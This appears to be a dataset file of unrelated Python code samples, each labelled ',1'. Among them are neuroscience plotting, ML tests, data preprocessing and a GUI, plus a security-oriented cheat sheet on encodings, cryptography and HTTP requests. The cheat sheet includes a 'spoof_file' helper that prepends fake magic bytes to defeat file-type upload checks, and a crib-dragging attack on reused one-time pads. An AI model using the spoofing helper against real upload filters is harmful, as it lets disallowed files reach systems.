phase_preference_scatter_plot(simple_sheet_name,diameter=0.24999) except AttributeError: print ""Skipping phase preference scatter plot; could not analyze region %s."" \ % simple_sheet_name class measure_and_analyze_complexity(measure_sine_pref): """"""Macro for measuring orientation preference and then analyzing its complexity."""""" def __call__(self,**params): fm = super(measure_and_analyze_complexity,self).__call__(**params) #from topo.command.analysis import measure_or_pref #fm = measure_or_pref() analyze_complexity(fm,simple_sheet_name=""V1Simple"",complex_sheet_name=""V1Complex"",filename=""ModulationRatio"") pg= create_plotgroup(name='Orientation Preference and Complexity',category=""Preference Maps"", doc='Measure preference for sine grating orientation.', pre_plot_hooks=[measure_and_analyze_complexity.instance()]) pg.add_plot('Orientation Preference',[('Hue','OrientationPreference')]) pg.add_plot('Orientation Preference&Selectivity',[('Hue','OrientationPreference'), ('Confidence','OrientationSelectivity')]) pg.add_plot('Orientation Selectivity',[('Strength','OrientationSelectivity')]) pg.add_plot('Modulation Ratio',[('Strength','ComplexSelectivity')]) pg.add_plot('Phase Preference',[('Hue','PhasePreference')]) pg.add_static_image('Color Key','command/or_key_white_vert_small.png') ",1 "################################################ # 3. Thinking in Binary #################################################################### import magic print magic.from_file(""my_image.jpg"") # JPEG image data, Exif standard: [TIFF image data, big-endian, # direntries=16, height=3264, bps=0, PhotometricIntepretation=RGB], # baseline, precision 8, 2378x2379, frames 3 if magic.from_file(""upload.jpg"", mime=True) == ""image/jpeg"": continue_uploading(""upload.jpg"") else: alert(""Sorry! This file type is not allowed"") import imghdr print imghdr.what(""path/to/my/file.ext"") import binascii   def spoof_file(file, magic_number): magic_number = binascii.unhexlify(magic_number) with open(file, ""r+b"") as f: old = f.read() f.seek(0) f.write(magic_number + old)   def to_ascii_bytes(string): return "" "".join(format(ord(char), '08b') for char in string) string = ""my ascii string"" """".join(hex(ord(char))[2:] for char in string) # '6d7920617363696920737472696e67' hex_string = ""6d7920617363696920737472696e67"" hex_string.decode(""hex"") # 'my ascii string' """".join(chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)) # 'my ascii string' # adapted from https://code.activestate.com/recipes/142812-hex-dumper/ def hexdump(string, length=8): result = [] digits = 4 if isinstance(string, unicode) else 2 for i in xrange(0, len(string), length): s = string[i:i + length] hexa = """".join(""{:0{}X}"".format(ord(x), digits) for x in s) text = """".join(x if 0x20 <= ord(x) < 0x7F else '.' for x in s) result.append(""{:04X}   {:{}}   {}"".format(i, hexa, length * (digits + 1), text)) return '\n'.join(result) with open(""/path/to/my_file.ext"", ""r"") as f: print hexdump(f.read()) import struct num = 0x103e4 struct.pack(""I"", 0x103e4) # '\xe4\x03\x01\x00' string = '\xe4\x03\x01\x00' struct.unpack(""i"", string) # (66532,) bytes = '\x01\xc2' struct.pack(""h"", bytes)[0]) # '\xc2\x01' import base64 base64.b64encode('encodings are fun...') # 'ZW5jb2RpbmdzIGFyZSBmdW4uLi4=' base64.b64decode(_) # 'encodings are fun...' string = ""hello\x00"" binary_string = ' '.join('{:08b}'.format(ord(char)) for char in string) "" "".join(binary_string[i:i+6] for i in range(0, len(binary_string), 6)) # '011010 000110 010101 101100 011011 000110 111100 000000' bin_string = '011010 000110 010101 101100 011011 000110 111100 000000' [int(b, 2) for b in bin_string.split()] # [26, 6, 21, 44, 27, 6, 60, 0] u'◑ \u2020'.encode('utf8') # '\xe2\x97\x91 \xe2\x80\xa0' '\xe2\x97\x91 \xe2\x80\xa0'.decode('utf8') # u'\u25d1 \u2020' unicode('\xe2\x97\x91 \xe2\x80\xa0', encoding='utf8') # u'\u25d1 \u2020' utf8_string = 'Åêíòü' utf8_string # '\xc3\x85\xc3\xaa\xc3\xad\xc3\xb2\xc3\xbc' unicode_string = utf8_string.decode('utf8') unicode_string # u'\xc5\xea\xed\xf2\xfc' unicode_string.encode('mac roman') # '\x81\x90\x92\x98\x9f' 'Åêíòü'.decode('utf8').encode('ascii') # Traceback (most recent call last): #   File """", line 1, in # UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-4: ordinal not in range(128) file = """"""潍楪慢敫椠⁳桴⁥慧扲敬⁤整瑸琠慨⁴獩琠敨爠獥汵⁴景琠硥⁴敢湩⁧敤潣敤⁤獵湩⁧湡甠楮瑮湥敤⁤档 牡捡整⁲湥潣楤杮楷桴挠浯汰瑥汥⁹湵敲慬整⁤湯獥景整牦浯愠搠晩敦敲瑮眠楲楴杮猠獹整⹭‧⠊慔敫 牦浯攠⹮楷楫数楤⹡牯⥧"""""" print file.decode('utf8').encode('utf16') # ??Mojibake is the garbled text that is the result of text being decoded using an # unintended character encoding with completely unrelated ones, often from a # different writing system.' (Taken from en.wikipedia.org) import ftfy ftfy.fix_text(u""“Mojibake“ can be fixed."") # u'""Mojibake"" can be fixed.' bin(0b1010 & 0b1111110111) # '0b10' bin(0b1010 | 0b0110) # '0b1110' bin(0b10111 | 0b01000) # '0b11111' bin(0b100 ^ 0b110) # '0b10' bin(-0b1010 >> 0b10) # '-0b11' x = 0b1111 y = 0b1010 bin(int(""{:b}{:b}"".format(x, y), 2)) # '0b11111010' bin(x << 4 | y) # '0b11111010' #################################################################### # 4. Cryptography #################################################################### import random import string   r = random.SystemRandom() # Get a random integer between 0 and 20 r.randint(0, 20) # 5   # Get a random number between 0 and 1 r.random() # 0.8282475835972263   # Generate a random 40-bit number r.getrandbits(40) # 595477188771L # Choose a random item from a string or list chars = string.printable r.choice(chars) # 'e'  # Randomize the order of a sequence seq = ['a', 'b', 'c', 'd', 'e'] r.shuffle(seq) print seq # ['c','d', 'a', 'e', 'b'] ""ALLIGATOR"".encode('rot13') # 'NYYVTNGBE' ""NYYVTNGBE"".encode('rot13') # 'ALLIGATOR' plaintext = ""A secret-ish message!"" """".join(chr((ord(c) + 20) % 256) for c in plaintext) # 'U4\x87yw\x86y\x88A}\x87|4\x81y\x87\x87u{y5' ciphertext = 'U4\x87yw\x86y\x88A}\x87|4\x81y\x87\x87u{y5' """".join(chr((ord(c) - 20) % 256) for c in ciphertext) # 'A secret-ish message!' plaintext = 0b110100001101001 one_time_pad = 0b110000011100001 bin(plaintext ^ one_time_pad) # '0b100010001000' decrypted = 0b100010001000 ^ one_time_pad format(decrypted, 'x').decode('hex') # 'hi' import os import binascii # ASCII-encoded plaintext plaintext = ""this is a secret message"" plaintext_bits = int(binascii.hexlify(plaintext), 16) print ""plaintext (ascii):"", plaintext print ""plaintext (hex):"", plaintext_bits # Generate the one-time pad onetime_pad = int(binascii.hexlify(os.urandom(len(plaintext))), 16) print ""one-time pad: (hex):"", onetime_pad # Encrypt plaintext using XOR operation with one-time pad ciphertext_bits = plaintext_bits ^ onetime_pad print ""encrypted text (hex):"", ciphertext_bits # Decrypt using XOR operation with one-time pad decrypted_text = ciphertext_bits ^ onetime_pad decrypted_text = binascii.unhexlify(hex(decrypted_text)[2:-1]) print ""decrypted text (ascii):"", decrypted_text import random import binascii p1 = ""this is the part where you run away"" p2 = ""from bad cryptography practices."" # pad plaintexts with spaces to ensure equal length p1 = p1.ljust(len(p2)) p2 = p2.ljust(len(p1)) p1 = int(binascii.hexlify(p1), 16) p2 = int(binascii.hexlify(p2), 16) # get random one-time pad otp = random.SystemRandom().getrandbits(p1.bit_length()) # encrypt c1 = p1 ^ otp c2 = p2 ^ otp # otp reuse...not good! print ""c1 ^ c2 == p1 ^ p2 ?"", c1 ^ c2 == p1 ^ p2 print ""c1 ^ c2 ="", hex(c1 ^ c2) # the crib crib = "" the "" crib = int(binascii.hexlify(crib), 16) xored = c1 ^ c2 print ""crib ="", hex(crib) cbl = crib.bit_length() xbl = xored.bit_length() print mask = (2**(cbl + 1) - 1) fill = len(str(xbl / 8)) # crib dragging for s in range(0, xbl - cbl + 8, 8): xor = (xored ^ (crib << s)) & (mask << s) out = binascii.unhexlify(hex(xor)[2:-1]) print ""{:>{}} {}"".format(s/8, fill, out) from cryptography.fernet import Fernet key = Fernet.generate_key() f = Fernet(key) ciphertext = f.encrypt(""this is my plaintext"") decrypted = f.decrypt(ciphertext) print decrypted # this is my plaintext import os from cryptography.hazmat.primitives import padding from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend pt = ""my plaintext"" backend = default_backend() key = os.urandom(32) iv = os.urandom(16) padder = padding.PKCS7(128).padder() pt = padder.update(pt) + padder.finalize() cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend) encryptor = cipher.encryptor() ct = encryptor.update(pt) + encryptor.finalize() decryptor = cipher.decryptor() out = decryptor.update(ct) + decryptor.finalize() unpadder = padding.PKCS7(128).unpadder() out = unpadder.update(out) + unpadder.finalize() print out import hashlib hashlib.md5(""hash me please"").hexdigest() # '760d92b6a6f974ae11904cd0a6fc2e90' hashlib.sha1(""hash me please"").hexdigest() # '1a58c9b3d138a45519518ee42e634600d1b52153' import os from cryptography.hazmat.primitives.kdf.scrypt import Scrypt from cryptography.hazmat.backends import default_backend backend = default_backend() salt = os.urandom(16) kdf = Scrypt(salt=salt, length=64, n=2**14, r=8, p=1, backend=backend) key = kdf.derive(""your favorite password"") key import hmac import hashlib secret_key = ""my secret key"" ciphertext = ""my ciphertext"" # generate HMAC h = hmac.new(key=secret_key, msg=ciphertext, digestmod=hashlib.sha256) print h.hexdigest() # verify HMAC hmac.compare_digest(h.hexdigest(), h.hexdigest()) p = 9576890767 q = 1299827 n = p * q print n # 12448301194997309 e = 65537 phi = (p - 1) * (q - 1) phi % e != 0 # True import sympy d = sympy.numbers.igcdex(e, phi)[0] print d # 1409376745910033 m = 12345 c = pow(m, e, n) print c # 3599057382134015 pow(c, d, n) # 12345 m = 0 while pow(m, e, n) != c:     m += 1 print m from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048, b ackend=default_backend()) public_key = private_key.public_key() private_pem = private_key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.BestAvailableEncryption('your password here')) public_pem = public_key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo) print public_pem print private_pem from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding import base64 with open(""path/to/public_key.pem"", ""rb"") as key_file: public_key = serialization.load_pem_public_key(key_file.read(), backend=default_backend()) message = ""your secret message"" ciphertext = public_key.encrypt(message, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None)) b64_ciphertext = base64.urlsafe_b64encode(ciphertext) print b64_ciphertext plaintext = private_key.decrypt(ciphertext, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None)) print plaintext from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding signer = private_key.signer(padding.PSS(mgf=padding.MGF1(hashes.SHA256()), salt_length=padding.PSS.MAX_LENGTH), hashes.SHA256()) message = ""A message of arbitrary length"" signer.update(message) signature = signer.finalize() public_key = private_key.public_key() verifier = public_key.verifier(signature, padding.PSS(mgf=padding.MGF1(hashes.SHA256()), salt_length=padding.PSS.MAX_LENGTH), hashes.SHA256()) verifier.update(message) verifier.verify() #################################################################### # 5. Networking #################################################################### import requests r = requests.get('https://www.google.com/imghp') r.content[:200] # View status code r.status_code # 200   # View response header fields r.headers # {'Alt-Svc': 'quic="":443""; ma=2592000; v=""36,35,34""', #  'Cache-Control': 'private, max-age=0', #  'Content-Encoding': 'gzip', #  'Content-Type': 'text/html; charset=ISO-8859-1', # 'Expires': '-1', #  'P3P': 'CP=""This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.""', #  'Server': 'gws', # path=/; domain=.google.com; HttpOnly', #  'Transfer-Encoding': 'chunked', #  'X-Frame-Options': 'SAMEORIGIN', #  'X-XSS-Protection': '1; mode=block'} # Get content length in bytes len(r.content) # 10971 # Encoding r.apparent_encoding # 'ISO-8859-2' # Time elapsed during request r.elapsed # datetime.timedelta(0, 0, 454447) r.request.headers # {'Accept': '*/*', #  'Accept-Encoding': 'gzip, deflate', #  'Connection': 'keep-alive', #  'User-Agent': 'python-requests/2.12.4'} custom_headers = {""user-agent"": ""Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36""} r = requests.get(""https://www.google.com/imghp"", headers=custom_headers) r.request.headers # {'Accept': '*/*', #  'Accept-Encoding': 'gzip, deflate', #  'Connection': 'keep-alive', #  'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'} import requests import logging import http.client as http_client http_client.HTTPConnection.debuglevel = 1 logging.basicConfig() logging.getLogger().setLevel(logging.DEBUG) requests_log = logging.getLogger(""requests.packages.urllib3"") requests_log.setLevel(logging.DEBUG) requests_log.propagate = True r = requests.get('https://www.google.com/') # send: 'GET / HTTP/1.1\r\nHost: www.google.com\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.12.4\r\n\r\n' # reply: 'HTTP/1.1 200 OK\r\n' # header: Expires: -1 # header: Cache-Control: private, max-age=0 # header: Content-Type: text/html; charset=ISO-8859-1 # header: P3P: CP=""This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info."" # header: Content-Encoding: gzip # header: Server: gws # header: X-XSS-Protection: 1; mode=block # header: X-Frame-Options: SAMEORIGIN import urlparse simple_url = ""http://www.example.com/path/to/my/page"" parsed = urlparse.urlparse(simple_url) parsed.scheme parsed.hostname parsed.path url_with_query = ""http://www.example.com/?page=1&key=Anvn4mo24"" query = urlparse.urlparse(url_with_query).query urlparse.parse_qs(query) # {'key': ['Anvn4mo24'], 'page': ['1']} import urllib url = 'https://www.example.com/%5EA-url-with-%-and-%5E?page=page+with%20spaces' urllib.unquote(url) # 'https://www.example.com/^A-url-with-%-and-^?page=page+with spaces' chars = '!@#$%^%$#)' urllib.quote(chars) # '%21%40%23%24%25%5E%25%24%23%29' urllib.unquote_plus(url) # 'https://www.example.com/^A-url-with-%-and-^?page=page with spaces' urllib.quote_plus('one two') 'one+two' import requests from bs4 import BeautifulSoup r = requests.get(""http://www.google.com"") soup = BeautifulSoup(r.content, ""lxml"") soup.find_all('p') soup.find_all('a') # [Images, # Maps, # Play, # YouTube, # News, # …] for link in soup.find_all('a'): print link.text, link[""href""] # Images http://www.google.com/imghp?hl=en&tab=wi # Maps http://maps.google.com/maps?hl=en&tab=wl # Play https://play.google.com/?hl=en&tab=w8 # YouTube http://www.youtube.com/?tab=w1 import dryscrape from bs4 import BeautifulSoup session = dryscrape.Session() session.visit(""http://www.google.com"") r = session.body() soup = BeautifulSoup(r, ""lxml"") from selenium import webdriver driver = webdriver.Chrome(""/path/to/chromedriver"") driver.get(""http://www.google.com"") html = driver.page_source driver.save_screenshot(""screenshot.png"") driver.quit() import smtplib server = smtplib.SMTP('localhost', port=1025) server.set_debuglevel(True) server.sendmail(""me@localhost"", ""you@localhost"", ""This is an email message"") server.quit() ",1 "ipif(shap is None, reason=""Requires shap package"") # Check integration is not broken from xgboost side # Changes in binary format may cause problems def test_with_shap(): from sklearn.datasets import fetch_california_housing X, y = fetch_california_housing(return_X_y=True) dtrain = xgb.DMatrix(X, label=y) model = xgb.train({""learning_rate"": 0.01}, dtrain, 10) explainer = shap.TreeExplainer(model) shap_values = explainer.shap_values(X) margin = model.predict(dtrain, output_margin=True) assert np.allclose(np.sum(shap_values, axis=len(shap_values.shape) - 1), margin - explainer.expected_value, 1e-3, 1e-3) ",1 """"" import sys import os import numpy as np import pandas as pd import datetime as dt # To redirect output to file class Logger(object): def __init__(self, filename=""Default.log""): self.terminal = sys.stdout self.log = open(filename, ""a"") def write(self, message): self.terminal.write(message) self.log.write(message) def flush(self): pass sys.stdout = Logger( os.environ['HOME' ] + '/theano.log' ) PATH_TO_ORIGINAL_DATA = os.environ['HOME'] + '/' PATH_TO_PROCESSED_DATA = os.environ['HOME'] + '/' data = pd.read_csv(PATH_TO_ORIGINAL_DATA + 'yoochoose-clicks.dat', sep=',', header=None, usecols=[0,1,2], dtype={0:np.int32, 1:str, 2:np.int64}) data.columns = ['SessionId', 'TimeStr', 'ItemId'] data['Time'] = data.TimeStr.apply(lambda x: dt.datetime.strptime(x, '%Y-%m-%dT%H:%M:%S.%fZ').timestamp()) #This is not UTC. It does not really matter. del(data['TimeStr']) session_lengths = data.groupby('SessionId').size() data = data[np.in1d(data.SessionId, session_lengths[session_lengths>1].index)] item_supports = data.groupby('ItemId').size() data = data[np.in1d(data.ItemId, item_supports[item_supports>=5].index)] session_lengths = data.groupby('SessionId').size() data = data[np.in1d(data.SessionId, session_lengths[session_lengths>=2].index)] tmax = data.Time.max() session_max_times = data.groupby('SessionId').Time.max() session_train = session_max_times[session_max_times < tmax-86400].index session_test = session_max_times[session_max_times >= tmax-86400].index train = data[np.in1d(data.SessionId, session_train)] test = data[np.in1d(data.SessionId, session_test)] test = test[np.in1d(test.ItemId, train.ItemId)] tslength = test.groupby('SessionId').size() test = test[np.in1d(test.SessionId, tslength[tslength>=2].index)] print('Full train set\n\tEvents: {}\n\tSessions: {}\n\tItems: {}'.format(len(train), train.SessionId.nunique(), train.ItemId.nunique())) train.to_csv(PATH_TO_PROCESSED_DATA + 'rsc15_train_full.txt', sep='\t', index=False) print('Test set\n\tEvents: {}\n\tSessions: {}\n\tItems: {}'.format(len(test), test.SessionId.nunique(), test.ItemId.nunique())) test.to_csv(PATH_TO_PROCESSED_DATA + 'rsc15_test.txt', sep='\t', index=False) tmax = train.Time.max() session_max_times = train.groupby('SessionId').Time.max() session_train = session_max_times[session_max_times < tmax-86400].index session_valid = session_max_times[session_max_times >= tmax-86400].index train_tr = train[np.in1d(train.SessionId, session_train)] valid = train[np.in1d(train.SessionId, session_valid)] valid = valid[np.in1d(valid.ItemId, train_tr.ItemId)] tslength = valid.groupby('SessionId').size() valid = valid[np.in1d(valid.SessionId, tslength[tslength>=2].index)] print('Train set\n\tEvents: {}\n\tSessions: {}\n\tItems: {}'.format(len(train_tr), train_tr.SessionId.nunique(), train_tr.ItemId.nunique())) train_tr.to_csv(PATH_TO_PROCESSED_DATA + 'rsc15_train_tr.txt', sep='\t', index=False) print('Validation set\n\tEvents: {}\n\tSessions: {}\n\tItems: {}'.format(len(valid), valid.SessionId.nunique(), valid.ItemId.nunique())) valid.to_csv(PATH_TO_PROCESSED_DATA + 'rsc15_train_valid.txt', sep='\t', index=False)",1 "CENSE file. import os from cpp_namespace_environment import CppNamespaceEnvironment from model import Model, UnixName from schema_loader import SchemaLoader def _GenerateFilenames(full_namespace): # Try to find the file defining the namespace. Eg. for # nameSpace.sub_name_space.Type' the following heuristics looks for: # 1. name_space_sub_name_space.json, # 2. name_space_sub_name_space.idl, # 3. sub_name_space.json, # 4. sub_name_space.idl, # 5. etc. sub_namespaces = full_namespace.split('.') filenames = [ ] basename = None for namespace in reversed(sub_namespaces): if basename is not None: basename = UnixName(namespace + '.' + basename) else: basename = UnixName(namespace) for ext in ['json', 'idl']: filenames.append('%s.%s' % (basename, ext)) return filenames class NamespaceResolver(object): '''Resolves a type name into the namespace the type belongs to. - |root| path to the root directory. - |path| path to the directory with the API header files, relative to the root. - |include_rules| List containing tuples with (path, cpp_namespace_pattern) used when searching for types. - |cpp_namespace_pattern| Default namespace pattern ''' def __init__(self, root, path, include_rules, cpp_namespace_pattern): self._root = root self._include_rules = [(path, cpp_namespace_pattern)] + include_rules def ResolveNamespace(self, full_namespace): '''Returns the model.Namespace object associated with the |full_namespace|, or None if one can't be found. ''' filenames = _GenerateFilenames(full_namespace) for path, cpp_namespace in self._include_rules: cpp_namespace_environment = None if cpp_namespace: cpp_namespace_environment = CppNamespaceEnvironment(cpp_namespace) for filename in reversed(filenames): filepath = os.path.join(path, filename); if os.path.exists(os.path.join(self._root, filepath)): schema = SchemaLoader(self._root).LoadSchema(filepath)[0] return Model().AddNamespace( schema, filepath, environment=cpp_namespace_environment) return None def ResolveType(self, full_name, default_namespace): '''Returns the model.Namespace object where the type with the given |full_name| is defined, or None if one can't be found. ''' name_parts = full_name.rsplit('.', 1) if len(name_parts) == 1: if full_name not in default_namespace.types: return None return default_namespace full_namespace, type_name = full_name.rsplit('.', 1) namespace = self.ResolveNamespace(full_namespace) if namespace and type_name in namespace.types: return namespace return None ",1 "opyright (C) 2011-2014, the ilastik developers # # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # In addition, as a special exception, the copyright holders of # ilastik give you permission to combine ilastik with applets, # workflows and plugins which are not covered under the GNU # General Public License. # # See the LICENSE file for details. License information is also available # on the ilastik web site at: # http://ilastik.org/license.html ############################################################################### from PyQt4.QtCore import Qt from PyQt4.QtGui import QColor from volumina.api import LazyflowSource, ColortableLayer, AlphaModulatedLayer from ilastik.applets.dataExport.dataExportGui import DataExportGui, DataExportLayerViewerGui from lazyflow.operators import OpMultiArraySlicer2 from ilastik.utility.exportingOperator import ExportingGui class ObjectClassificationDataExportGui( DataExportGui, ExportingGui ): """""" A subclass of the generic data export gui that creates custom layer viewers. """""" def __init__(self, *args, **kwargs): super(ObjectClassificationDataExportGui, self).__init__(*args, **kwargs) self._exporting_operator = None def set_exporting_operator(self, op): self._exporting_operator = op def get_exporting_operator(self, lane=0): return self._exporting_operator.getLane(lane) def createLayerViewer(self, opLane): return ObjectClassificationResultsViewer(self.parentApplet, opLane) def get_export_dialog_title(self): return ""Export Object Information"" @property def gui_applet(self): return self.parentApplet def get_raw_shape(self): return self.get_exporting_operator().RawImages.meta.shape def get_feature_names(self): return self.get_exporting_operator().ComputedFeatureNames([]).wait() def _initAppletDrawerUic(self): super(ObjectClassificationDataExportGui, self)._initAppletDrawerUic() from PyQt4.QtGui import QGroupBox, QPushButton, QVBoxLayout group = QGroupBox(""Export Object Feature Table"", self.drawer) group.setLayout(QVBoxLayout()) self.drawer.layout().addWidget(group) btn = QPushButton(""Configure and export"", group) btn.clicked.connect(self.show_export_dialog) group.layout().addWidget(btn) def _createDefault16ColorColorTable(): colors = [] # Transparent for the zero label colors.append(QColor(0,0,0,0)) # ilastik v0.5 colors colors.append( QColor( Qt.red ) ) colors.append( QColor( Qt.green ) ) colors.append( QColor( Qt.yellow ) ) colors.append( QColor( Qt.blue ) ) colors.append( QColor( Qt.magenta ) ) colors.append( QColor( Qt.darkYellow ) ) colors.append( QColor( Qt.lightGray ) ) # Additional colors colors.append( QColor(255, 105, 180) ) #hot pink colors.append( QColor(102, 205, 170) ) #dark aquamarine colors.append( QColor(165, 42, 42) ) #brown colors.append( QColor(0, 0, 128) ) #navy colors.append( QColor(255, 165, 0) ) #orange colors.append( QColor(173, 255, 47) ) #green-yellow colors.append( QColor(128,0, 128) ) #purple colors.append( QColor(240, 230, 140) ) #khaki # colors.append( QColor(192, 192, 192) ) #silver # colors.append( QColor(69, 69, 69) ) # dark grey # colors.append( QColor( Qt.cyan ) ) assert len(colors) == 16 return [c.rgba() for c in colors] class ObjectClassificationResultsViewer(DataExportLayerViewerGui): _colorTable16 = _createDefault16ColorColorTable() def setupLayers(self): layers = [] opLane = self.topLevelOperatorView selection_names = opLane.SelectionNames.value selection = selection_names[ opLane.InputSelection.value ] # This code depends on a specific order for the export slots. # If those change, update this function! assert selection in ['Object Predictions', 'Object Probabilities', 'Pixel Probabilities'] if selection == ""Object Predictions"": fromDiskSlot = self.topLevelOperatorView.ImageOnDisk if fromDiskSlot.ready(): exportLayer = ColortableLayer( LazyflowSource(fromDiskSlot), colorTable=self._colorTable16 ) exportLayer.name = ""Prediction - Exported"" exportLayer.visible = True layers.append(exportLayer) previewSlot = self.topLevelOperatorView.ImageToExport if previewSlot.ready(): previewLayer = ColortableLayer( LazyflowSource(previewSlot), colorTable=self._colorTable16 ) previewLayer.name = ""Prediction - Preview"" previewLayer.visible = False layers.append(previewLayer) elif selection == ""Object Probabilities"": exportedLayers = self._initPredictionLayers(opLane.ImageOnDisk) for layer in exportedLayers: layer.visible = True layer.name = layer.name + ""- Exported"" layers += exportedLayers previewLayers = self._initPredictionLayers(opLane.ImageToExport) for layer in previewLayers: layer.visible = False layer.name = layer.name + ""- Preview"" layers += previewLayers elif selection == 'Pixel Probabilities': exportedLayers = self._initPredictionLayers(opLane.ImageOnDisk) for layer in exportedLayers: layer.visible = True layer.name = layer.name + ""- Exported"" layers += exportedLayers previewLayers = self._initPredictionLayers(opLane.ImageToExport) for layer in previewLayers: layer.visible = False layer.name = layer.name + ""- Preview"" layers += previewLayers else: assert False, ""Unknown selection."" rawSlot = self.topLevelOperatorView.RawData if rawSlot.ready(): rawLayer = self.createStandardLayerFromSlot(rawSlot) rawLayer.name = ""Raw Data"" rawLayer.opacity = 1.0 layers.append(rawLayer) return layers def _initPredictionLayers(self, predictionSlot): layers = [] opLane = self.topLevelOperatorView # Use a slicer to provide a separate slot for each channel layer opSlicer = OpMultiArraySlicer2( parent=opLane.viewed_operator().parent ) opSlicer.Input.connect( predictionSlot ) opSlicer.AxisFlag.setValue('c') for channel, channelSlot in enumerate(opSlicer.Slices): if channelSlot.ready(): drange = channelSlot.meta.drange or (0.0, 1.0) predictsrc = LazyflowSource(channelSlot) predictLayer = AlphaModulatedLayer( predictsrc, tintColor=QColor.fromRgba(self._colorTable16[channel+1]), # FIXME: This is weird. Why are range and normalize both set to the same thing? range=drange, normalize=drange ) predictLayer.opacity = 1.0 predictLayer.visible = True predictLayer.name = ""Probability Channel #{}"".format( channel+1 ) layers.append(predictLayer) return layers",1 "def print_sum(x, y): # for i in range(10): # result = await compute(x, y) # print(""%s + %s = %s"" % (x, y, result)) # # loop = asyncio.get_event_loop() # loop.run_until_complete(print_sum(1,2)) # asyncio.ensure_future(print_sum(1, 2)) # asyncio.ensure_future(print_sum(3, 4)) # asyncio.ensure_future(print_sum(5, 6)) # loop.run_forever() import asyncio async def display_date(who, num): i = 0 while True: if i > num: return print('{}: Before loop {}'.format(who, i)) await asyncio.sleep(1) i += 1 loop = asyncio.get_event_loop() asyncio.ensure_future(display_date('AAA', 4)) asyncio.ensure_future(display_date('BBB', 6)) loop.run_forever() ",1 "rns.GrowthTheoryCell import make_theory_cell from Patterns.GrowthTheoryCell_100_3BranchDevices import make_theory_cell_3br from Patterns.GrowthTheoryCell_100_4BranchDevices import make_theory_cell_4br from gdsCAD_py3.core import Cell, Boundary, CellArray, Layout, Path from gdsCAD_py3.shapes import Box, Rectangle, Label from gdsCAD_py3.templates100 import Wafer_GridStyle, dashed_line WAFER_ID = 'XXXX' # CHANGE THIS FOR EACH DIFFERENT WAFER PATTERN = 'SQ1.2' putOnWafer = True # Output full wafer or just a single pattern? HighDensity = False # High density of triangles? glbAlignmentMarks = False tDicingMarks = 10. # Dicing mark line thickness (um) rotAngle = 0. # Rotation angle of the membranes wafer_r = 25e3 waferVer = '100 Membranes Multi-Use v1.2'.format(int(wafer_r / 1000)) waferLabel = waferVer + '\n' + date.today().strftime(""%d%m%Y"") # Layers l_smBeam = 0 l_lgBeam = 1 l_drawing = 100 # %% Wafer template for MBE growth class MBE100Wafer(Wafer_GridStyle): """""" A 2"" wafer divided into square cells """""" def __init__(self, name, cells=None): Wafer_GridStyle.__init__(self, name=name, cells=cells, block_gap=1200.) # The placement of the wafer alignment markers am_x = 1.5e4 am_y = 1.5e4 self.align_pts = np.array([am_x, am_y]) self.align_pts = np.vstack((self.align_pts, self.align_pts * (-1, 1))) # Reflect about y-axis self.align_pts = np.vstack((self.align_pts, self.align_pts * (1, -1))) # Reflect about x-axis self.wafer_r = 25e3 self.block_size = np.array([10e3, 10e3]) self._place_blocks(radius=self.wafer_r + 5e3) # if glbAlignmentMarks: # self.add_aligment_marks(l_lgBeam) # self.add_orientation_text(l_lgBeam) # self.add_dicing_marks() # l_lgBeam, mkWidth=mkWidth Width of dicing marks self.add_blocks() self.add_wafer_outline(layers=l_drawing) self.add_dashed_dicing_marks(layers=[l_lgBeam]) self.add_block_labels(layers=[l_lgBeam]) self.add_prealignment_markers(layers=[l_lgBeam]) self.add_tem_membranes([0.08, 0.012, 0.028, 0.044], 2000, 1, l_smBeam) self.add_theory_cells() self.add_chip_labels() # self.add_blockLabels(l_lgBeam) # self.add_cellLabels(l_lgBeam) bottom = np.array([0, -self.wafer_r * 0.9]) # top = np.array([0, -1]) * bottom self.add_waferLabel(waferLabel, l_drawing, pos=bottom) def add_block_labels(self, layers): txtSize = 800 for (i, pt) in enumerate(self.block_pts): origin = (pt + np.array([0.5, 0.5])) * self.block_size blk_lbl = self.blockcols[pt[0]] + self.blockrows[pt[1]] for l in layers: txt = Label(blk_lbl, txtSize, layer=l) bbox = txt.bounding_box offset = np.array(pt) txt.translate(-np.mean(bbox, 0)) # Center text around origin lbl_cell = Cell(""lbl_"" + blk_lbl) lbl_cell.add(txt) origin += np.array([0, 0]) self.add(lbl_cell, origin=origin) def add_dashed_dicing_marks(self, layers): if type(layers) is not list: layers = [layers] width = 10. / 2 dashlength = 2000 r = self.wafer_r rng = np.floor(self.wafer_r / self.block_size).astype(int) dmarks = Cell('DIC_MRKS') for l in layers: for x in np.arange(-rng[0], rng[0] + 1) * self.block_size[0]: y = np.sqrt(r ** 2 - x ** 2) vm = dashed_line([x, y], [x, -y], dashlength, width, layer=l) dmarks.add(vm) for y in np.arange(-rng[1], rng[1] + 1) * self.block_size[1]: x = np.sqrt(r ** 2 - y ** 2) hm = dashed_line([x, y], [-x, y], dashlength, width, layer=l) 